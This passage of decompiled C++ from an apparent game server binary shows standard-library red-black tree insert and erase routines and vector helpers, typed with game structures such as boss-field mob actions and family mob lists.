std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 28) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 28) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 28) = 1; *(_BYTE *)(v14 + 28) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 28) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0054D700) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, BossFieldContent::MobAutomaticAction *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= (unsigned int)((char *)&ddt.ddt_Table[530][871].distance + 1) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 36) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 36) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 36) = 1; *(_BYTE *)(v14 + 36) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 36) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0054D8B0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0054D920) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 29) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 29) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 29) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 29) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 29) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 29) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 29) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 28); *(_BYTE *)(*(_DWORD *)&v6 + 28) = *(_BYTE *)(*(_DWORD *)&v4 + 28); *(_BYTE *)(*(_DWORD *)&v4 + 28) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 28) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 28) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 28) ) { *(_BYTE *)(v15 + 28) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 28) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 29) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 28) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 28) = 1; *(_BYTE *)(v15 + 28) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 28) = *(_BYTE *)(*(_DWORD *)&v7 + 28); *(_BYTE *)(*(_DWORD *)&v7 + 28) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 28) ) { *(_BYTE *)(v15 + 28) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 28) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 29) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 28) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 28) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) = 1; *(_BYTE *)(v15 + 28) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 28) = *(_BYTE *)(*(_DWORD *)&v7 + 28); *(_BYTE *)(*(_DWORD *)&v7 + 28) = 1; *(_BYTE *)(*(_DWORD *)v15 + 28) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 28) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 28) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0054DBE0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 37) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 37) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 37) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 37) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 37) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 37) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 37) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 36); *(_BYTE *)(*(_DWORD *)&v6 + 36) = *(_BYTE *)(*(_DWORD *)&v4 + 36); *(_BYTE *)(*(_DWORD *)&v4 + 36) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 36) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 36) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 36) ) { *(_BYTE *)(v15 + 36) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 36) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 37) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 36) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 36) = 1; *(_BYTE *)(v15 + 36) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 36) = *(_BYTE *)(*(_DWORD *)&v7 + 36); *(_BYTE *)(*(_DWORD *)&v7 + 36) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 36) ) { *(_BYTE *)(v15 + 36) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 36) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 37) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 36) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 36) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) = 1; *(_BYTE *)(v15 + 36) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 36) = *(_BYTE *)(*(_DWORD *)&v7 + 36); *(_BYTE *)(*(_DWORD *)&v7 + 36) = 1; *(_BYTE *)(*(_DWORD *)v15 + 36) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 36) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 36) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0054DEA0) -------------------------------------------------------- void __thiscall FamilyMobManagement::FamilyMob::_FamilyMob(KQContribute::PlayerList *this) { KQContribute::PlayerList *v1; // esi@1 v1 = this; if ( this->pl_PlayerList._Myfirst ) operator delete(this->pl_PlayerList._Myfirst); v1->pl_PlayerList._Myfirst = 0; v1->pl_PlayerList._Mylast = 0; v1->pl_PlayerList._Myend = 0; } //----- (0054DED0) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::insert(...) { BossFieldContent::ServentBuffBossTable::ServentBossTable *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 unsigned __int16 v8; // dx@2 BossFieldContent::ServentBuffBossTable::ServentBossTable *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->sbt_Buffer; do { v5 = v6; v7 = v8 < v6->_Myval.sbt_Buffer; _Addleft = v8 < v6->_Myval.sbt_Buffer; if ( v8 >= v6->_Myval.sbt_Buffer ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (BossFieldContent::ServentBuffBossTable::ServentBossTable *)v5; _Val = (BossFieldContent::ServentBuffBossTable::ServentBossTable *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( LOWORD(v9->sbt_AbstateStrength) >= v3->sbt_Buffer ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (0054DF90) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, BossFieldContent::MobAutomaticAction *_Val) { BossFieldContent::MobAutomaticAction *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 unsigned __int16 v8; // dx@2 BossFieldContent::MobAutomaticAction *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->maa_MobID; do { v5 = v6; v7 = v8 < v6->_Myval.maa_MobID; _Addleft = v8 < v6->_Myval.maa_MobID; if ( v8 >= v6->_Myval.maa_MobID ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (BossFieldContent::MobAutomaticAction *)v5; _Val = (BossFieldContent::MobAutomaticAction *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( LOWORD(v9->maa_Abstate.Strength) >= v3->maa_MobID ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (0054E050) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(4 * _Capacity); v2->_Myend = (AbnormalStateInfo::ABSTATEINDEX 